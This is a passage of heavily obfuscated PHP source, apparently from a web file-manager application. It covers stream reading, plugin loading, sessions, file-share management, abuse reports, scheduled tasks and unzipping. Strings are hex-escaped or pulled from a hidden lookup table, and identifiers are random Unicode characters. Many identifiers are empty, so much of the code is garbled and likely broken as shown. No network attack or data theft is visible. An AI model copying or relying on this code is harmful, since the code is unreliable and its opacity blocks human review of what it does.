public function stream_eof() { return $this->pose >= $this->info[$_SERVER[̧][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ټ, $ΒĐ) { $œߟՈ =& $_SERVER[̧]; $ϳ = $this->info($ټ); return array($œߟՈ[1509] => 0, $œߟՈ[1510] => 0, $œߟՈ[16] => 32768 + 511, $œߟՈ[1511] => 0, $œߟՈ[1512] => 0, $œߟՈ[1513] => 0, $œߟՈ[1514] => 0, $œߟՈ[76] => $ϳ[$œߟՈ[76]], $œߟՈ[1515] => $ϳ[$œߟՈ[1383]], $œߟՈ[1471] => $ϳ[$œߟՈ[85]], $œߟՈ[1470] => $ϳ[$œߟՈ[201]], $œߟՈ[1516] => 0, $œߟՈ[1517] => 0); } static $fileInfo = array(); public function info($ޅ) { $󀲠 = $_SERVER[̧][1518]; if (isset(self::$fileInfo[$ޅ])) { return self::$fileInfo[$ޅ]; } if (substr($ޅ, 0, strlen($󀲠)) != $󀲠) { return !1; } self::$fileInfo[$ޅ] = IO::info(substr($ޅ, strlen($󀲠))); return self::$fileInfo[$ޅ]; } public static function read($ؑ, $ȃ, $ΐ) { if (!isset(self::$_fopenCache[$ؑ])) { $к = new StreamWrapperIO(); $к->stream_open($ؑ); self::$_fopenCache[$ؑ] = $к; } $к = self::$_fopenCache[$ؑ]; return $к->fileSubstr($ȃ, $ΐ); } public static function _read($ը, $ޤ, $) { $ =& $_SERVER[̧]; $ѫ = fopen($ը, $[1387]); if (!$ѫ) { return $[12]; } $ո = 8192; fseek($ѫ, $ޤ, SEEK_SET); $ߡ = $[12]; $ = 0; while ($ < $) { $ӝ = min($ո, $ - $); $ߡ .= fread($ѫ, $ӝ); $ += $ӝ; } fclose($ѫ); return $ߡ; } public function fileSubstr($祌, $̏) { $ɫ =& $_SERVER[̧]; $ڰ = $this->info[$ɫ[76]]; $‹ԅ = $祌; $ = $̏; if ($祌 < 0) { $祌 = $ڰ + $祌; } if ($̏ === !1) { $̏ = $ڰ - $祌; } if ($祌 + $̏ > $ڰ) { $̏ = $ڰ - $祌; } if ($̏ <= 0) { return $ɫ[12]; } if ($祌 < 0 || $祌 >= $ڰ || $̏ <= 0 || $̏ > 1024 * 1024 * 10) { throw new Exception("\x69\157\x46\x69\x6c\145\x52\145\x61\x64\40\x65\x72\162\157\162\x21\40\163\x74\141\162\164\75{$祌}\x3b\x6c\x65\x6e\147\164\150\x3d{$̏}\x3b\40\163\151\172\x65\x3d{$ڰ}\73"); } $¯ = 64 * 1024; $ټ =& self::$_chunkBuffer[$this->path]; if (!$ټ) { $ټ = array(); } $ʤ = 0; $Ʌ = 0; $ = $ɫ[12]; foreach ($ټ as $ʤ => $) { $ʤ = intval($ʤ); $Ʌ = $ʤ + strlen($); if ($祌 >= $Ʌ) { continue; } if ($祌 >= $ʤ && $祌 + $̏ <= $Ʌ) { return substr($, $祌 - $ʤ, $̏); } break; } if (count($ټ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ɫ[1519], $ɫ[1520] . count($ټ) . "\73\163\164\141\162\164\75{$祌}\54\154\x65\x6e\x67\164\x68\x3d{$̏}\x3b\160\157\163\x65\72{$ʤ}\176{$Ʌ}"); throw new Exception($ɫ[1521]); } $⺽ = intval($祌 / $¯) * $¯; $ɞӁ = ceil(($祌 + $̏) / $¯) * $¯ - $⺽; $𗩊 = IO::fileSubstr($this->path, $⺽, $ɞӁ); $ټ[$⺽ . $ɫ[12]] = $𗩊; ksort($ټ); $ַ = substr($𗩊, $祌 - $⺽, $̏); return $ַ; } private function log($˔Ċ, $䀀) { $ =& $_SERVER[̧]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1522], $˔Ċ, $this->info[$[32]], $, $䀀), $[1202]); } } class Message { function __construct() { } public function send($ = '', $ӻ = array(), $ϒ = "\x74\145\x78\164") { $ =& $_SERVER[̧]; $ۣ = array($[33] => $[1523], $[774] => $); if (in_array($ϒ, array($[1523], $[1524]))) { $ۣ[$[33]] = $ϒ; } $ӻ = array($[543] => isset($ӻ[$[543]]) ? $ӻ[$[543]] : $[12], $[628] => isset($ӻ[$[628]]) ? $ӻ[$[628]] : $[12]); if (empty($) || empty($ӻ[$[543]]) && empty($ӻ[$[628]])) { return !1; } $– = array($[1464] => $ۣ, $[1525] => $ӻ); Hook::trigger($[1526], $–); } } goto F; aΈ: class PluginModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\x6d\x2e\x70\x6c\165\147\x69\156\114\x69\163\x74"; public $field = array("\x6e\141\155\145", "\x73\164\x61\x74\165\163", "\x72\x65\147\x69\145\163\164", "\x63\x6f\156\146\151\x67"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[̧][32]); if ($) { return $[$]; } return $; } public function init() { $菣 =& $_SERVER[̧]; Hook::trigger($菣[1971]); $ȧ֍ = $this->loadPluginList(); foreach ($ȧ֍ as $ => $僕) { $ = $this->appAllow($, $僕); if (!$) { continue; } foreach ($僕[$菣[1972]] as $ => $Ϫ) { Hook::bind($, $Ϫ); } } Hook::trigger($菣[1973]); Hook::trigger(ACTION); } public function appAllow($, $¼, $ = true) { $ĝ =& $_SERVER[̧]; $ޔ“ = PLUGIN_DIR . $ . $ĝ[1974]; if (!is_array($¼) || !is_array($¼[$ĝ[1972]]) || $¼[$ĝ[770]] != 1 || !is_file($ޔ“)) { return !1; } if ($GLOBALS[$ĝ[532]] == 1) { if ($GLOBALS[$ĝ[6]][$ĝ[1975]] || !$GLOBALS[$ĝ[6]][$ĝ[1976]]) { return !0; } $Λ = explode($ĝ[50], strtolower($GLOBALS[$ĝ[6]][$ĝ[1976]])); return in_array(strtolower($), $Λ) ? !1 : !0; } if ($ && !Action($ĝ[1977])->checkAuth($)) { return !1; } return !0; } public function unInstall($ϯ) { $ø =& $_SERVER[̧]; $ = $this->loadList($ϯ); if (file_exists(PLUGIN_DIR . $ϯ)) { Hook::apply($ϯ . $ø[1978]); } $this->remove($[$ø[437]]); } public function changeStatus($ٮɃ, $) { $݅ =& $_SERVER[̧]; $ = $this->loadList($ٮɃ); if ($) { Hook::apply($ٮɃ . $݅[1979]); } $this->update($[$݅[437]], array($݅[1980] => $)); } public function appRegist($Ȓ, $ܔ) { $ =& $_SERVER[̧]; $ = $this->loadList($Ȓ); if ($) { $this->update($[$[437]], array($[1972] => $ܔ)); } else { $׷ = array($[32] => $Ȓ, $[1972] => $ܔ, $[770] => 0, $[6] => $this->getConfigDefault($Ȓ)); $this->insert($׷); } } public function getConfigDefault($ב) { $ =& $_SERVER[̧]; $ޚƘ = array(); $߸Ӓ = $this->getPackageJson($ב); if (!$߸Ӓ && is_array($߸Ӓ[$[1981]])) { return $ޚƘ; } foreach ($߸Ӓ[$[1981]] as $҈ => $) { if (!isset($[$[403]]) || isset($ޚƘ[$҈])) { continue; } $ޚƘ[$҈] = $[$[403]]; } return $ޚƘ; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[̧][1982]); } public function getConfig($, $ = false) { $Ȅ =& $_SERVER[̧]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$Ȅ[6]])) { $ = $[$Ȅ[6]]; } if (!$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($ʨ, $Ӗ = false) { $ =& $_SERVER[̧]; $ގ = $this->loadList($ʨ); if (!$ގ) { return !1; } $ = $ގ[$[6]]; if ($Ӗ == !1) { $ = array(); $Ӗ = $this->getConfigDefault($ʨ); } foreach ($Ӗ as $ݜ => $ϼט) { $[$ݜ] = is_string($ϼט) ? trim($ϼט) : $ϼט; } $this->update($ގ[$[437]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[̧]; $ј = $this->loadList(); $this->pluginScan($ј); $ј = $this->loadPluginList(); $ = array(); foreach ($ј as $ => $É) { unset($É[$[1972]], $É[$[6]]); $ = PLUGIN_DIR . $É[$[32]] . $[1974]; if (!is_file($)) { continue; } $ = Hook::apply($É[$[32]] . $[1982]); if (is_array($)) { $[$] = array_merge($É, $); } } return $; } private function loadPluginList() { $遃 =& $_SERVER[̧]; $ع = $this->loadList(); if (strtolower(MOD) == $遃[1983]) { return $ع; } $ = Hook::trigger($遃[1984], $ع); if ($ع && !$) { die; } return $ ? $ : $ع; } private function pluginScan($ާ) { $ӕ =& $_SERVER[̧]; recursion_dir(PLUGIN_DIR, $ַ, $뇰, 0); foreach ($ַ as $λ) { $ի = get_path_this($λ); if (isset($ާ[$ի]) || !file_exists($λ . $ӕ[1985]) || !file_exists($λ . $ӕ[1974])) { continue; } Hook::apply($ի . $ӕ[1979]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\x79\163\164\145\x6d\x5f\163\145\x73\163\x69\x6f\x6e"; public function get($) { $ʫ =& $_SERVER[̧]; $ = $this->where(array($ʫ[1986] => $))->find(); if (!is_array($)) { return !1; } return $[$ʫ[774]]; } public function set($, $ʽ, $ޚٜ = 3600) { $ׯ =& $_SERVER[̧]; $ח = array($ׯ[1986] => $, $ׯ[1890] => $ʽ, $ׯ[1987] => $ޚٜ + time()); if (Session::get($ׯ[1988])) { $ח[$ׯ[1661]] = Session::get($ׯ[1988]); } else { $ח[$ׯ[1661]] = 0; } if ($this->get($)) { return $this->where(array($ׯ[1986] => $))->save($ח); } else { return $this->add($ח, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[̧][1986] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[̧][1989] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\x61\162\x65"; protected $dataAuto = array(array("\155\x6f\x64\151\x66\x79\124\x69\x6d\x65", "\x74\151\155\x65", "\151\156\x73\x65\162\164\x2c\165\x70\x64\141\164\x65", "\x66\x75\156\x63\164\151\x6f\156"), array("\143\x72\x65\x61\x74\x65\x54\x69\x6d\x65", "\x74\151\155\145", "\151\156\x73\x65\162\164", "\x66\x75\x6e\143\x74\151\157\x6e"), array("\157\x70\x74\151\x6f\156\163", '', "\151\x6e\x73\145\162\164\x2c\x75\160\x64\141\x74\145\x2c\163\145\154\145\143\x74", "\x6a\163\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($ү) { $բ =& $_SERVER[̧]; $젉 = isset($ү[0]) ? $ү[0] : !1; return array($բ[1990] => array(USER_ID, $բ[1991]), $բ[1931] => array($젉, $բ[1992])); } protected function listSimple() { $ɋ = array($_SERVER[̧][1661] => USER_ID); $ = $this->field($this->fieldList)->where($ɋ)->select(); return $ ? $ : array(); } protected function getInfo($, $ = false) { $˝ =& $_SERVER[̧]; if ($) { return $this->_getShareInfo(array($˝[631] => $)); } $գ = $this->cacheFunctionGet($˝[1933], $); return $գ; } public function getInfoByHash($֝) { return $this->_getShareInfo(array($_SERVER[̧][1993] => $֝)); } public function getInfoByPath($) { $旕 =& $_SERVER[̧]; $Ә = array($旕[1661] => USER_ID, $旕[440] => $); return $this->_getShareInfo($Ә); } public function getInfoBySourcePath($ϴ) { $ =& $_SERVER[̧]; $Φֹ = array($[1661] => USER_ID, $[1195] => $ϴ); return $this->_getShareInfo($Φֹ); } private function _getShareInfo($ʺ) { $ί =& $_SERVER[̧]; $ȯ = $this->where($ʺ)->find(); if (!$ȯ) { return !1; } $ʺ = array($ί[631] => $ȯ[$ί[631]]); $ҹ = $ί[1994]; $ɭ = Model($ί[632])->order($ί[437])->field($ҹ)->where($ʺ)->select(); if ($ȯ[$ί[440]] == $ί[198]) { $ȯ[$ί[87]] = IO::info($ȯ[$ί[1195]]); } else { $ȯ[$ί[87]] = Model($ί[1353])->pathInfo($ȯ[$ί[440]]); } $ȯ[$ί[1995]] = $ɭ; return $ȯ; } protected function getInfoAuth($í) { $Ɖ =& $_SERVER[̧]; $ = $this->getInfo($í); if ($[$Ɖ[1661]] == USER_ID) { $[$Ɖ[451]] = $[$Ɖ[87]][$Ɖ[451]]; } else { $[$Ɖ[451]] = Model($Ɖ[531])->authMake($[$Ɖ[1995]]); } return $; } protected function listData($ϥ = null, $ = 300) { $ʍ =& $_SERVER[̧]; $ = array(array($ʍ[526] => array($ʍ[1032], 0), $ʍ[629] => array($ʍ[1032], 0), $ʍ[1996] => $ʍ[1949])); if ($ϥ == $ʍ[1997]) { $ = array($ʍ[526] => 1); } else { if ($ϥ == $ʍ[1181]) { $ = array($ʍ[629] => 1); } } $[$ʍ[1661]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($樲 = 300) { $ =& $_SERVER[̧]; $ť = Model($[1998])->userGroupParents(USER_ID); $ = array($[614] => SourceModel::TYPE_USER, $[534] => USER_ID); if ($ť) { $ = array(array($[614] => SourceModel::TYPE_USER, $[534] => USER_ID), array($[614] => SourceModel::TYPE_GROUP, $[534] => array($[7], $ť)), $[1996] => $[1949]); } $ = Model($[632])->where($)->selectPage($樲); $ = array_to_keyvalue_group($[$[398]], $[631]); if (!$) { return $; } $ = $[1999]; $ = array($[631] => array($[456], array_keys($)), $[1661] => array($[1034], $[198])); $ׇ = $this->field($)->where($)->select(); foreach ($ׇ as $Ŏ => &$Ύ) { $Ύ[$[1995]] = $[$Ύ[$[631]]]; } unset($Ύ); $計 = array($[2000] => $ׇ, $[2001] => $[$[395]]); return $計; } protected function shareAdd($̪, $) { $Ý =& $_SERVER[̧]; $Ǵ = $this->_addShareData($̪, $); if (!empty($[$Ý[2002]])) { $this->_shareAuthSet($Ǵ, $[$Ý[2002]]); } $this->shareEventAdd($̪, $, $Ý[2003]); return $Ǵ; } protected function shareAddSystem($, $ͳ) { $ׇ =& $_SERVER[̧]; $ = $this->_addShareData($, $ͳ, $ׇ[1307]); $this->_shareAuthSet($, $ͳ[$ׇ[2002]]); return $; } private function shareEventAdd($뢫™, $¬, $ֱ = "\x61\144\144") { $㥾 =& $_SERVER[̧]; if (!$뢫™ || $뢫™ == $㥾[198]) { return; } if ($ֱ == $㥾[2003]) { if ($¬[$㥾[526]] == $㥾[88]) { Model($㥾[599])->eventShare($뢫™, $㥾[2004]); } if ($¬[$㥾[629]] == $㥾[88]) { Model($㥾[599])->eventShare($뢫™, $㥾[2005]); } return; } $ց = $this->getInfoByPath($뢫™); $· = $㥾[2006]; if ($ց[$㥾[526]] == $㥾[198] && $¬[$㥾[526]] == $㥾[88]) { $· = $㥾[2004]; } if ($ց[$㥾[526]] == $㥾[88] && $¬[$㥾[526]] == $㥾[198]) { $· = $㥾[2007]; } if ($ց[$㥾[629]] == $㥾[198] && $¬[$㥾[629]] == $㥾[88]) { $· = $㥾[2005]; } if ($ց[$㥾[629]] == $㥾[88] && $¬[$㥾[629]] == $㥾[198]) { $· = $㥾[2008]; } Model($㥾[599])->eventShare($뢫™, $·); return; } private function _addShareData($Ⰳ, $ѷن = array(), $ = false) { $҈Η =& $_SERVER[̧]; $ = $ == $҈Η[1307] ? 0 : USER_ID; $ = array($҈Η[455] => $Ⰳ, $҈Η[1652] => $); if ($Ⰳ == 0) { $ = array($҈Η[2009] => $ѷن[$҈Η[1195]], $҈Η[1652] => $); } if ($Ӿ = $this->where($)->find()) { return $Ӿ[$҈Η[631]]; } if ($Ⰳ == 0) { $햽 = array($҈Η[32] => get_path_this($ѷن[$҈Η[84]])); } else { $햽 = Model($҈Η[845])->sourceInfo($Ⰳ); if (!$햽) { return !1; } } if (!$ѷن[$҈Η[1559]]) { $ѷن[$҈Η[1559]] = $햽[$҈Η[32]]; } $ٱ = array($҈Η[1652] => $, $҈Η[455] => $Ⰳ, $҈Η[1559] => $҈Η[12], $҈Η[526] => 0, $҈Η[629] => 0, $҈Η[1195] => $҈Η[12], $҈Η[336] => $҈Η[12], $҈Η[909] => $҈Η[12], $҈Η[2010] => 0, $҈Η[2011] => 0, $҈Η[781] => 0, $҈Η[2012] => $҈Η[12], $҈Η[1993] => $҈Η[12]); $Ӯ = explode($҈Η[50], $҈Η[2013]); foreach ($Ӯ as $ϝ݂) { if (!isset($ѷن[$ϝ݂])) { continue; } $ٱ[$ϝ݂] = $ѷن[$ϝ݂]; } $޴ = $this->add($ٱ); $ӈ = array($҈Η[1993] => short_id($޴)); $this->where(array($҈Η[2014] => $޴))->save($ӈ); return $޴; } private function _shareAuthSet($̭, $) { $ʉ =& $_SERVER[̧]; if (!is_array($)) { return !1; } $ޭ = Model($ʉ[1959]); $ޭ->where(array($ʉ[631] => $̭))->delete(); $ = array(); foreach ($ as $Ԕ) { $҆ = SourceModel::TYPE_USER; if ($Ԕ[$ʉ[449]] == SourceModel::TYPE_GROUP) { $҆ = SourceModel::TYPE_GROUP; } $譸 = array($ʉ[631] => $̭, $ʉ[449] => $҆, $ʉ[534] => intval($Ԕ[$ʉ[534]]), $ʉ[1955] => 0, $ʉ[2015] => -1); if ($Ԕ[$ʉ[1955]]) { $譸[$ʉ[1955]] = $Ԕ[$ʉ[1955]]; } else { if ($Ԕ[$ʉ[2015]]) { $譸[$ʉ[2015]] = $Ԕ[$ʉ[2015]]; } } $[] = $譸; } return $ޭ->addAll($, array(), !0); } public function numViewAdd($㹓ʠ) { $ =& $_SERVER[̧]; $ = array($[2014] => $㹓ʠ); $this->where($)->setAdd($[2010]); } public function numDownloadAdd($) { $ =& $_SERVER[̧]; $ܔ = array($[2014] => $); $this->where($ܔ)->setAdd($[2011]); } protected function shareEdit($, $ָ) { $͗ =& $_SERVER[̧]; $Щ = $this->getInfo($); if (!$Щ) { return !1; } $this->_checkLinkShare($ָ, $Щ); $㨥 = array(); $ = explode($͗[50], $͗[2016]); foreach ($ as $Ҍ) { if (!array_key_exists($Ҍ, $ָ)) { continue; } $㨥[$Ҍ] = $ָ[$Ҍ]; } $this->shareEventAdd($Щ[$͗[440]], $ָ, $͗[1821]); $this->where(array($͗[2014] => $))->save($㨥); if (isset($ָ[$͗[2002]])) { $this->_shareAuthSet($, $ָ[$͗[2002]]); } return !0; } private function _checkLinkShare($, $) { $у =& $_SERVER[̧]; if ($[$у[526]] != $у[88]) { return; } $ = $[$у[87]][$у[440]]; if ($[$у[87]][$у[33]] != $у[200]) { $ϥؑ = $this->_folderReport($); if (!$ϥؑ) { return; } show_json(LNG($у[2017]) . $у[2018] . $ϥؑ, !1); } $妻 = Model($у[845])->fileInfoGet($[$у[87]][$у[440]]); if (!$妻) { return; } $͕θ = $this->shareFileMeta($妻[$у[506]]); if (isset($͕θ[$у[403]]) && $͕θ[$у[403]] == $у[88]) { show_json(LNG($у[2019]), !1); } } private function _folderReport($) { $ =& $_SERVER[̧]; $ = array($[506] => array($[1032], 0), $[770] => 3); $ؒ = Model($[2020])->where($)->field($[506])->select(); if (!$ؒ) { return !1; } $ؒ = array_to_keyvalue($ؒ, $[12], $[506]); $ = $[50] . $ . $[50]; $ = array($[506] => array($[7], $ؒ), $[549] => array($[412], "\x25{$}\45"), $[469] => 0); $ʹ = Model($[845])->where($)->field($[2021])->find(); if (!$ʹ) { return !1; } $ѭ = substr($ʹ[$[549]], strpos($ʹ[$[549]], $)); $ = array($[440] => array($[7], trim($ѭ, $[50]))); $ = Model($[845])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $[12], $[32]); $[] = $ʹ[$[32]]; return implode($[8], $); } protected function remove($ƪ) { $ =& $_SERVER[̧]; if (is_array($ƪ)) { $ƪ = array($[7], $ƪ); } $° = array($[631] => $ƪ); $ڟ = $this->where($°)->delete(); if ($ڟ) { Model($[632])->where(array($[631] => $ƪ))->delete(); } $ = is_array($ƪ) ? $ƪ[1] : array($ƪ); for ($ڋ˟ = 0; $ڋ˟ < count($); $ڋ˟++) { $ҙ = $this->getInfo($[$ڋ˟]); if ($ҙ[$[629]] == $[88]) { Model($[599])->eventShare($ҙ[$[440]], $[2008]); } if ($ҙ[$[526]] == $[88]) { Model($[599])->eventShare($ҙ[$[440]], $[2007]); } } return $ڟ; } protected function removeBySource($) { $ =& $_SERVER[̧]; $ = array($[455] => array($[456], $)); $ = $this->field($[631])->where($)->select(); $ = array_to_keyvalue($, $[12], $[631]); if (!$) { return; } $ = array($[2014] => array($[456], $)); $this->where($)->delete(); Model($[632])->where($)->delete(); } public function listAll($ī쎃) { $ =& $_SERVER[̧]; $㔂 = array(); if ($ī쎃[$[1661]]) { $㔂[$[1661]] = $ī쎃[$[1661]]; } if ($ī쎃[$[780]]) { $Ѥ = $ī쎃[$[781]] ? $ī쎃[$[781]] : strtotime(date($[2022])); $㔂[$[201]] = array($[362], array($ī쎃[$[780]], $Ѥ)); } if ($ī쎃[$[33]]) { $㔂[$ī쎃[$[33]]] = 1; } else { $㔂[] = array($[526] => array($[1032], 0), $[629] => array($[1032], 0), $[1996] => $[1949]); } if ($ī쎃[$[1945]]) { $㔂[] = array($[1993] => $ī쎃[$[1945]], $[1559] => array($[412], "\x25{$ī쎃[$[1945]]}\x25"), $[1996] => $[1949]); } $ز = $this->_makeOrder()->where($㔂)->selectPage(20); if (empty($ز[$[398]])) { return array(); } $this->_listDataApply($ز[$[398]]); return $ز; } public function listDataApply($߯) { $this->_listDataApply($߯); return $߯; } private function _listDataApply(&$) { $ǃ =& $_SERVER[̧]; $ = array_to_keyvalue($, $ǃ[12], $ǃ[1661]); $” = Model($ǃ[563])->userListInfo(array_unique($)); $ٿ = array_to_keyvalue($, $ǃ[12], $ǃ[440]); $Ӟ = Model($ǃ[845])->sourceListInfo($ٿ, !0); foreach ($ as $ۛ => &$) { $Ɵ = $[$ǃ[1661]]; $[$ǃ[2023]] = $”[$Ɵ] ? $”[$Ɵ] : !1; $֗ = $[$ǃ[440]]; $[$ǃ[87]] = $Ӟ[$֗] ? $Ӟ[$֗] : !1; if ($[$ǃ[87]][$ǃ[469]] == $ǃ[88]) { unset($[$ۛ]); } if ($[$ǃ[87]] != $ǃ[198] && !$[$ǃ[87]]) { unset($[$ۛ]); } } unset($); $ = array_values($); } private function _makeOrder($ǽ = '') { $ =& $_SERVER[̧]; $чު = array($[201], $[781], $[2010], $[2011]); $̓β = array($[488] => $[489], $[490] => $[491]); $ʐ = Input::get($[495], $[7], $[461], $чު); $ē = Input::get($[496], $[7], $[2024], array($[1942], $[490])); $ē = $̓β[$ē]; $ǽ = $ǽ . "{$ʐ}\40{$ē}"; return $this->order($ǽ); } public function reportAdd($ς) { $ô٤ =& $_SERVER[̧]; $ = array($ô٤[631] => $ς[$ô٤[631]], $ô٤[1661] => USER_ID); if (Model($ô٤[2020])->where($)->find()) { return !1; } $ = array($ô٤[631] => $ς[$ô٤[631]], $ô٤[1559] => $ς[$ô٤[1559]], $ô٤[440] => $ς[$ô٤[440]], $ô٤[506] => $ς[$ô٤[506]], $ô٤[1661] => USER_ID, $ô٤[33] => $ς[$ô٤[33]], $ô٤[491] => $ς[$ô٤[491]]); return Model($ô٤[2020])->add($); } public function reportList($̓) { $Ǫ =& $_SERVER[̧]; $ = array(); if ($̓[$Ǫ[780]]) { $娲 = $̓[$Ǫ[781]] ? $̓[$Ǫ[781]] : strtotime(date($Ǫ[2022])); $[$Ǫ[201]] = array($Ǫ[362], array($̓[$Ǫ[780]], $娲)); } if (isset($̓[$Ǫ[33]]) && in_array($̓[$Ǫ[33]], array($Ǫ[88], $Ǫ[475], $Ǫ[2025], $Ǫ[2026], $Ǫ[2027]))) { $[$Ǫ[33]] = $̓[$Ǫ[33]]; } if (isset($̓[$Ǫ[770]]) && in_array($̓[$Ǫ[770]], array($Ǫ[198], $Ǫ[88], $Ǫ[475], $Ǫ[2025]))) { $[$Ǫ[770]] = $̓[$Ǫ[770]]; } $񆇿 = Input::get($Ǫ[496], $Ǫ[7], $Ǫ[2024], array($Ǫ[1942], $Ǫ[490])); $Ɯ = array($Ǫ[488] => $Ǫ[489], $Ǫ[490] => $Ǫ[491]); $ʛ = $Ǫ[2028] . $Ɯ[$񆇿]; $أ = Model($Ǫ[2020])->where($)->order($ʛ)->selectPage(20); if (empty($أ[$Ǫ[398]])) { return array(); } $ = array_to_keyvalue_group($أ[$Ǫ[398]], $Ǫ[770], $Ǫ[631]); if (!empty($[0])) { $̓ = $[0]; $ = array($Ǫ[631] => array($Ǫ[7], $̓)); $˃ = $this->where($)->field($Ǫ[631])->select(); $˃ = array_to_keyvalue($˃, $Ǫ[12], $Ǫ[631]); $Ս = array_diff($̓, $˃); if (!empty($Ս)) { foreach ($أ[$Ǫ[398]] as $ס => $ʪ) { if (in_array($ʪ[$Ǫ[631]], $Ս)) { unset($أ[$Ǫ[398]][$ס]); } } } } $this->_listDataApply($أ[$Ǫ[398]]); return $أ; } public function reportStatus($ͣ) { $ =& $_SERVER[̧]; $ = array($[437] => $ͣ[$[437]]); $ = Model($[2020])->where($)->field($[2029])->find(); if (!$) { return !1; } $ = array($[770] => $ͣ[$[770]]); if ($ͣ[$[770]] == $[2025] && $[$[770]] == $[2025]) { $[$[770]] = 0; } $Ѱ = Model($[2020])->where($)->save($); if ($ͣ[$[770]] == $[475]) { if ($[$[506]] != $[198] && $this->shareFileMeta($[$[506]])) { $this->shareFileMeta($[$[506]], 0); } $this->remove($[$[631]]); return !0; } if ($Ѱ && $ͣ[$[770]] == $[2025]) { $Ý = $[$[770]] == $[2025] ? 1 : 0; $this->shareFileMeta($[$[506]], $Ý); $this->removeByFile($[$[506]]); } return $Ѱ; } private function removeByFile($) { $ =& $_SERVER[̧]; $ = Model($[845])->where(array($[506] => $))->field($[440])->select(); $趙 = array_to_keyvalue($, $[12], $[440]); $ = array($[440] => array($[7], $趙), $[526] => 1); $ = $this->where($)->field($[631])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[631]); $this->remove($); } private function shareFileMeta($պ, $ԩ = null) { $؁ =& $_SERVER[̧]; $ = array($؁[506] => $պ, $؁[94] => $؁[2030]); if (is_null($ԩ)) { return Model($؁[2031])->where($)->find(); } $[$؁[403]] = $ԩ; Model($؁[2031])->add($, array(), !0); } } goto cɍ; d: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($甌, $ = 5.0) { if (!$甌) { return; } $ݵ = Cache::get($甌); if (!$ݵ || timeFloat() - floatVal($ݵ) >= $) { Cache::set($甌, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $Ь, $䣞 = 5.0) { $ך =& $_SERVER[̧]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $ך[1765]; $烷 = Cache::get($, !0); $ = array($ך[1766] => timeFloat(), $ך[1767] => timeFloat(), $ך[293] => $, $ך[1759] => $Ь, $ך[180] => $䣞); if (is_array($烷[$])) { $[$ך[1767]] = $烷[$][$ך[1767]]; } if (is_array($烷[$])) { if (timeFloat() - $烷[$][$ך[1766]] < $[$ך[180]] * 0.3) { return; } $[$ך[1767]] = $烷[$][$ך[1767]]; } $烷[$] = $; Cache::set($, $烷, 60); Cache::removeMemory($); write_log($ך[1768] . $ . $ך[71] . $, $ך[1761]); } public static function timeLimitCallLoop() { $ģ =& $_SERVER[̧]; $ = array($ģ[1769]); $܊ = in_array(strtolower(ACTION), $); if (!$܊ && !self::$asyncAdd) { return; } $ = $ģ[1765]; $ܱ = Cache::get($, !0); if (!$ܱ || count($ܱ) <= 0) { return; } $ϭ = !1; $ﭾ = timeFloat(); $ = array(); foreach ($ܱ as $♡ => $Ձ) { if ($ﭾ - $Ձ[$ģ[1767]] > $Ձ[$ģ[180]]) { $ϭ = !0; try { Hook::apply($Ձ[$ģ[293]], $Ձ[$ģ[1759]]); write_log($ģ[1770] . $♡ . $ģ[71] . $Ձ[$ģ[293]] . $ģ[1771] . ACTION, $ģ[1761]); } catch (Exception $) { } continue; } $[$♡] = $Ձ; } if (!$ϭ) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($, $и) { $ǖ =& $_SERVER[̧]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($ǖ[293] => $, $ǖ[1759] => $и); } private static function finishedRun() { $ =& $_SERVER[̧]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $ٰ) { try { Hook::apply($ٰ[$[293]], $ٰ[$[1759]]); } catch (Exception $޸) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ح =& $_SERVER[̧]; parent::startAfter(); Hook::bind($ح[1772], array($this, $ح[1773])); Hook::bind($ح[1213], array($this, $ح[1774])); $ =& $this->task; $[$ح[1775]] = $ح[1214]; if (!$[$ح[1559]]) { $[$ح[1559]] = LNG($ح[1776]); } } protected function endAfter() { $䓽˗ =& $_SERVER[̧]; parent::endAfter(); Hook::unbind($䓽˗[1772], array($this, $䓽˗[1773])); Hook::unbind($䓽˗[1213], array($this, $䓽˗[1774])); } public function updateAfter() { $τ쥤 =& $_SERVER[̧]; $ =& $this->task; if (!$[$τ쥤[806]] || !$[$τ쥤[783]]) { return; } if ($[$τ쥤[1775]] == $τ쥤[1214]) { $œ땙 = 0; if ($[$τ쥤[1714]]) { $œ땙 = $[$τ쥤[1715]] / $[$τ쥤[1714]]; } $[$τ쥤[1663]] = $œ땙 * 0.3; } else { if ($[$τ쥤[1775]] == $τ쥤[342]) { $œ땙 = $[$τ쥤[1662]] / $[$τ쥤[806]]; $[$τ쥤[1663]] = 0.3 + $œ땙 * 0.4; } else { if ($[$τ쥤[1775]] == $τ쥤[107]) { $ܿ = 0; if ($[$τ쥤[1716]] == $τ쥤[107]) { $ܿ = $[$τ쥤[1715]]; } $œ땙 = ($[$τ쥤[1719]] + $ܿ) / $[$τ쥤[783]]; $[$τ쥤[1663]] = 0.3 + 0.4 + $œ땙 * 0.3; } } } if ($[$τ쥤[1663]] > 0) { $ = timeFloat() - $[$τ쥤[1665]] - $[$τ쥤[1668]]; $[$τ쥤[1669]] = $ * (1 - $[$τ쥤[1663]]) / $[$τ쥤[1663]]; } } public function addFile($Ϊ) { $ӣ =& 